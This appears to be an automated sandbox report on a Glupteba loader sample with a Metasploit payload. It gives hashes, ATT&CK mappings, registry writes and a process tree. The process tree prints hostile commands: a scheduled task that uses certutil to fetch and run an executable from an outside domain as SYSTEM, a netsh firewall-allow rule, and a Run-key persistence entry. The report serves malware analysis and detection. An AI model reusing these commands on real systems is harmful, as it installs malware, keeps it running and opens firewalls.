glupteba | 2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d

General

Target

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Size

3.9MB
MD5

d7cdd366a076f32d242bd88450bde311
SHA1

f793c13a8374d1d8dd4cb120b376e39c637b251b
SHA256

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d
SHA512

778ab03c6ba1914d00a2cbf55aee4929c426613484d0245d260406085391b0c57c008ce2d97d7e04277f14f68840dddd1070625b9e6fd0947b9f07e7a17d2850

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 9 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2824-131-0x0000000003280000-0x0000000003A84000-memory.dmp	family_glupteba
behavioral2/memory/2824-132-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba
behavioral2/memory/2824-133-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba
behavioral2/memory/2824-135-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba
behavioral2/memory/3616-137-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba
behavioral2/memory/3616-140-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba
behavioral2/memory/3616-144-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba
behavioral2/memory/4616-146-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba
behavioral2/memory/4616-147-0x0000000000400000-0x0000000000F97000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 3396 created 2824	3396	svchost.exe	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
PID 3396 created 4616	3396	svchost.exe	csrss.exe
PID 3396 created 4616	3396	svchost.exe	csrss.exe
PID 3396 created 4616	3396	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

4616 csrss.exe
1388 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

3924 netsh.exe

pid	process
4616	csrss.exe
1388	patch.exe

pid	process
3924	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SmallCherry = "\"C:\\Windows\\rss\\csrss.exe\""	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

848 bcdedit.exe

pid	process
848	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe

description	ioc	process
File opened for modification	C:\Windows\rss	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
File created	C:\Windows\rss\csrss.exe	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4268 schtasks.exe
2872 schtasks.exe

pid	process
4268	schtasks.exe
2872	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.execsrss.exe

pid	process
2824	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
2824	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
3616	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
3616	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
4616	csrss.exe
4616	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	2824	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Token: SeImpersonatePrivilege	2824	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
Token: SeTcbPrivilege	3396	svchost.exe
Token: SeTcbPrivilege	3396	svchost.exe
Token: SeBackupPrivilege	3396	svchost.exe
Token: SeRestorePrivilege	3396	svchost.exe
Token: SeBackupPrivilege	3396	svchost.exe
Token: SeRestorePrivilege	3396	svchost.exe
Token: SeBackupPrivilege	3396	svchost.exe
Token: SeRestorePrivilege	3396	svchost.exe
Token: SeBackupPrivilege	3396	svchost.exe
Token: SeRestorePrivilege	3396	svchost.exe
Token: SeSystemEnvironmentPrivilege	4616	csrss.exe
Token: SeBackupPrivilege	3396	svchost.exe
Token: SeRestorePrivilege	3396	svchost.exe
Token: SeBackupPrivilege	3396	svchost.exe
Token: SeRestorePrivilege	3396	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.execmd.execsrss.exe

description	pid	process	target process
PID 3396 wrote to memory of 3616	3396	svchost.exe	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
PID 3396 wrote to memory of 3616	3396	svchost.exe	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
PID 3396 wrote to memory of 3616	3396	svchost.exe	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
PID 3616 wrote to memory of 3244	3616	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe	cmd.exe
PID 3616 wrote to memory of 3244	3616	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe	cmd.exe
PID 3244 wrote to memory of 3924	3244	cmd.exe	netsh.exe
PID 3244 wrote to memory of 3924	3244	cmd.exe	netsh.exe
PID 3616 wrote to memory of 4616	3616	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe	csrss.exe
PID 3616 wrote to memory of 4616	3616	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe	csrss.exe
PID 3616 wrote to memory of 4616	3616	2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe	csrss.exe
PID 3396 wrote to memory of 4268	3396	svchost.exe	schtasks.exe
PID 3396 wrote to memory of 4268	3396	svchost.exe	schtasks.exe
PID 3396 wrote to memory of 2872	3396	svchost.exe	schtasks.exe
PID 3396 wrote to memory of 2872	3396	svchost.exe	schtasks.exe
PID 3396 wrote to memory of 1388	3396	svchost.exe	patch.exe
PID 3396 wrote to memory of 1388	3396	svchost.exe	patch.exe
PID 4616 wrote to memory of 848	4616	csrss.exe	bcdedit.exe
PID 4616 wrote to memory of 848	4616	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
"C:\Users\Admin\AppData\Local\Temp\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2824

C:\Users\Admin\AppData\Local\Temp\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
"C:\Users\Admin\AppData\Local\Temp\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3616

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3244

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:3924

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4616

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:4268

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:2872

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:1388

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3396

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
d7cdd366a076f32d242bd88450bde311

SHA1
f793c13a8374d1d8dd4cb120b376e39c637b251b

SHA256
2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d

SHA512
778ab03c6ba1914d00a2cbf55aee4929c426613484d0245d260406085391b0c57c008ce2d97d7e04277f14f68840dddd1070625b9e6fd0947b9f07e7a17d2850

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
d7cdd366a076f32d242bd88450bde311

SHA1
f793c13a8374d1d8dd4cb120b376e39c637b251b

SHA256
2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d

SHA512
778ab03c6ba1914d00a2cbf55aee4929c426613484d0245d260406085391b0c57c008ce2d97d7e04277f14f68840dddd1070625b9e6fd0947b9f07e7a17d2850

Download Submit
memory/848-152-0x0000000000000000-mapping.dmp

Download
memory/1388-150-0x0000000000000000-mapping.dmp

Download
memory/2824-131-0x0000000003280000-0x0000000003A84000-memory.dmp

Filesize
8.0MB

Download
memory/2824-132-0x0000000000400000-0x0000000000F97000-memory.dmp

Filesize
11.6MB

Download
memory/2824-133-0x0000000000400000-0x0000000000F97000-memory.dmp

Filesize
11.6MB

Download
memory/2824-135-0x0000000000400000-0x0000000000F97000-memory.dmp

Filesize
11.6MB

Download
memory/2824-130-0x0000000002ECA000-0x0000000003272000-memory.dmp

Filesize
3.7MB

Download
memory/2872-149-0x0000000000000000-mapping.dmp

Download
memory/3244-138-0x0000000000000000-mapping.dmp

Download
memory/3616-140-0x0000000000400000-0x0000000000F97000-memory.dmp

Filesize
11.6MB

Download
memory/3616-144-0x0000000000400000-0x0000000000F97000-memory.dmp

Filesize
11.6MB

Download
memory/3616-137-0x0000000000400000-0x0000000000F97000-memory.dmp

Filesize
11.6MB

Download
memory/3616-136-0x0000000002CF9000-0x00000000030A1000-memory.dmp

Filesize
3.7MB

Download
memory/3616-134-0x0000000000000000-mapping.dmp

Download
memory/3924-139-0x0000000000000000-mapping.dmp

Download
memory/4268-148-0x0000000000000000-mapping.dmp

Download
memory/4616-141-0x0000000000000000-mapping.dmp

Download
memory/4616-145-0x0000000003000000-0x00000000033A8000-memory.dmp

Filesize
3.7MB

Download
memory/4616-146-0x0000000000400000-0x0000000000F97000-memory.dmp

Filesize
11.6MB

Download
memory/4616-147-0x0000000000400000-0x0000000000F97000-memory.dmp

Filesize
11.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads